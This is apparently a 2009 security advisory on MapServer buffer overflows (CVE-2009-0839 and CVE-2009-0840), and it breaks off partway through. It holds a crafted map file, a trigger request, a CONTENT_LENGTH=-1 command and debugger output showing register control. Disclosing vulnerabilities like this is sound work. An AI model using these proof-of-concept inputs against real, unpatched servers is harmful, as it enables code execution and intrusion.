Home / vulnerabilities mapserver-overflow.txt
Posted on 31 March 2009
Source : packetstormsecurity.org Link
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
POSITRON SECURITY LLC
<http://www.positronsecurity.com/>
Security Advisory #2009-000
Multiple Vulnerabilities in MapServer v5.2.1 and v4.10.3
Author: Joe Testa <jt _at_sign_ positronsecurity_dot_com>
Date: March 30th, 2009
URL: <http://www.positronsecurity.com/advisories/2009-000.html>
I. Executive Summary
MapServer [1] is a popular open-source, multi-platform program for
creating interactive map applications. It was originally developed by
the University of Minnesota with support from the U.S. National
Aeronautics and Space Administration (NASA) [2]. It is currently
supported by the Open Source Geospatial Foundation [3].
Several security vulnerabilities were identified in MapServer v5.2.1
and v4.10.3. All users are urged to upgrade to v5.2.2 or v4.10.4 as
soon as possible to protect against attack.
II. Overview
During an audit of the MapServer v5.2.1 source code, five (5)
vulnerabilities were identified ranging from low to medium/high
severity. They include stack and heap overflows, a relative path
writing weakness, a file content leakage, as well as a file existence
leakage. Furthermore, after reporting these issues to the vendor, a
second audit by the project maintainer not only determined that v4.10.3
was also affected, but that four (4) additional stack overflows existed
in the code as well.
III. Detailed Description
A. Stack-based Buffer Overflow (CVE-2009-0839)
Severity: Medium/High
A buffer overflow that could allow for the execution of arbitrary
code exists in the "mapserv" CGI program. In mapserv.c are the
following lines of code:
406: strncpy(mapserv->Id, mapserv->request->ParamValues[i], IDSIZE);
1112: int main(int argc, char *argv[]) {
1114: char buffer[1024], *value=NULL;
1783: sprintf(buffer, "%s%s%s%s", mapserv->map->web.imagepath, \nmapserv->map->name, mapserv->Id, MS_QUERY_EXTENSION);
1826: }
Notice that no size checking is done at line 1783 on the buffer
named "buffer", defined at line 1114. It is filled with three variables
and one static string. The first variable,
"mapserv->map->web.imagepath", is assigned the value of the IMAGEPATH
attribute inside the *.map file stored on the server. The second,
"mapserv->map->name", is taken from the NAME attribute inside the same
map file. The third variable, "mapserv->Id", is read from user input
at line 406, though it is restricted to IDSIZE (128) bytes. Thus, a
buffer overflow can be achieved by creating a map file on the server
with overly long IMAGEPATH and/or NAME attributes; their values will be
stored past the end of "buffer" and will overwrite saved register
values. If the following specially-crafted map file ("bof.map") is
stored on the server (either by creating it directly, or tricking a
legitimate user into placing it onto the file system):
MAP
NAME {"A" x 1072}GGGG
STATUS ON
SIZE 100 100
EXTENT 0 0 1 1
WEB
IMAGEPATH "/tmp/"
TEMPLATE "/tmp/template.html"
END
END
... and if the following request is made:
<http://site/cgi-bin/mapserv?map=/tmp/bof.map&mode=query&
queryfile=/tmp/queryfile.qf&savequery=1&id=HHHHIIIIJJJJKKKK>
... then the following crash occurs on a CentOS v5.2/x86 platform:
Program received signal SIGSEGV, Segmentation fault.
0x0804fdca in main ()
(gdb) disassemble main
[...]
0x0804fd9e <main+2318>: call 0x804bee0 <sprintf@plt>
0x0804fda3 <main+2323>: mov %edi,0x4(%esp)
0x0804fda7 <main+2327>: mov (%esi),%eax
0x0804fda9 <main+2329>: mov 0x10(%eax),%eax
0x0804fdac <main+2332>: mov %eax,(%esp)
0x0804fdaf <main+2335>: call 0x8074aa0 <msSaveQuery>
0x0804fdb4 <main+2340>: test %eax,%eax
0x0804fdb6 <main+2342>: je 0x804fb02 <main+1650>
0x0804fdbc <main+2348>: add $0x4e8,%esp
0x0804fdc2 <main+2354>: pop %ecx
0x0804fdc3 <main+2355>: pop %ebx
0x0804fdc4 <main+2356>: pop %esi
0x0804fdc5 <main+2357>: pop %edi
0x0804fdc6 <main+2358>: pop %ebp
0x0804fdc7 <main+2359>: lea 0xfffffffc(%ecx),%esp
0x0804fdca <main+2362>: ret
[...]
(gdb) i r
eax 0x1 1
ecx 0x47474747 1195853639
edx 0x0 0
ebx 0x48484848 1212696648
esp 0x47474743 0x47474743
ebp 0x4b4b4b4b 0x4b4b4b4b
esi 0x49494949 1229539657
edi 0x4a4a4a4a 1246382666
eip 0x804fdca 0x804fdca <main+2362>
[...]
Because the ECX register can be controlled (0x47 is the ASCII code for
the letter "G"), the attacker can control the ESP register through the
"lea 0xfffffffc(%ecx),%esp" instruction at 0x0804fdc7. The attacker can
execute code in mapserv's process space by setting the ESP register to
an address that holds a reference to code and letting the "ret"
instruction execute at 0x0804fdca; this will assign the EIP register an
attacker-supplied value.
This overflow may be triggered by user input as well. Note that the
"mapserv->Id" character array is defined as IDSIZE bytes long and that
the strncpy() call at mapserv.c:406 uses IDSIZE too. Since strncpy(3)
does not null-terminate the destination string if the source string is
greater than its size argument, an attacker can set the "id" CGI
variable to 128 characters, causing the sprintf() call at mapserv.c:1783
to continue writing bytes into "buffer" from heap memory (as the
"mapserv" variable is created with malloc(3)) until a zero byte is
found. While this method of triggering the overflow does not require a
corrupt map, it does require the attacker to manipulate heap memory into
a favorable state. The difficulty of this task has not been measured.
B. Heap-based Buffer Underflow (CVE-2009-0840)
Severity: Medium
By providing a specially-crafted POST request to the "mapserv" CGI
application, an out-of-bounds memory write can be triggered.
Specifically, by setting the "CONTENT_LENGTH" environment variable to
- -1, the code will write a zero byte to "data[ -1 ]", where "data" is a
character array allocated on the heap via malloc(3).
When the following is executed locally on the command line:
jdog@thegibson:~$ REQUEST_METHOD=POST CONTENT_LENGTH=-1 \n/path/to/mapserv
... the following occurs: execution will flow from main() in
mapserv.c and call function loadParams() in cgiutil.c at
mapserv.c:1201. loadParams() will then call readPostBody() (see below)
at cgiutil.c:125.
static char *readPostBody( cgiRequestObj *request )
{
char *data;
int data_max, data_len, chunk_size;
msIO_needBinaryStdin();
/* [...] */
if( getenv("CONTENT_LENGTH") != NULL ) {
55: data_max = atoi(getenv("CONTENT_LENGTH"));
56: data = (char *) malloc(data_max+1);
if( data == NULL ) {
[...]
exit( 1 );
}
63: if( (int) msIO_fread(data, 1, data_max, stdin) < data_max ) {
[...]
exit(1);
}
69: data[data_max] = '